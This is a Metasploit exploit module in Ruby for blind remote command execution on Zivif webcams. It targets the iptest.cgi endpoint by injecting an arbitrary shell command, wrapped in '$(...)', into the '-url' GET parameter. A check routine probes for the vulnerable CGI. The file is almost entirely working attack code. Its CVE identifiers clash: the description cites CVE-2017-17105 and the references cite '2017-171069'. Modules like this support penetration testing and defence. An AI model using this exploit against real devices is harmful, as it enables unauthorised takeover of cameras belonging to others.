##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(update_info(info,
      'Name'             => 'Zivif Camera iptest.cgi Blind Remote Command Execution',
      'Description'      => %q{
          This module exploits a remote command execution vulnerability in Zivif
       webcams.  This is known to impact versions prior to and including v2.3.4.2103.
       Exploit was reported in CVE-2017-17105.
      },
      'License'          => MSF_LICENSE,
      'Author'           => [ 'Silas Cutler (p1nk)' ],
      'References'       =>
        [
          [ 'URL', 'https://seclists.org/fulldisclosure/2017/Dec/42' ],
          [ 'CVE', '2017-171069' ]
        ],
      'Platform'         => 'unix',
      'Targets'          =>
        [
          [ 'Automatic Target', { }]
        ],
      'Payload'        =>
        {
          'Space'       => 1024,
          'BadChars'    => "\x00\x27",
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic'
            }
        },
      'DefaultOptions'  =>
        {
          'PAYLOAD'           => 'cmd/unix/generic',
        },
      'Privileged'       => false,
      'DisclosureDate'   => "2017-09-01",
      'DefaultTarget'    => 0))
  end

  def check
    res = send_request_cgi('uri' => normalize_uri('cgi-bin', 'iptest.cgi'))
    unless res
      vprint_error('Connection failed')
      return Exploit::CheckCode::Unknown
    end
    unless res.code && res.code == 200
      return CheckCode::Safe
    end

    CheckCode::Detected
  end

  def exploit
    print_status("Sending request")
    cmd = datastore['CMD']

    res = send_request_cgi(
      'uri' => normalize_uri('cgi-bin', 'iptest.cgi'),
      'method' => 'GET',
      'vars_get' => {
        'cmd' => "iptest.cgi",
        '-time' => Time.now.to_i,
        '-url' => "$(" + cmd + ")"
      }
    )

    unless res
      fail_with(Failure::Unreachable, 'Connection failed')
    end

    if res.code && res.code == 200
      print_good('Command sent successfully')
    else
      fail_with(Failure::UnexpectedReply, 'Unable to send command to target')
    end
  end

end
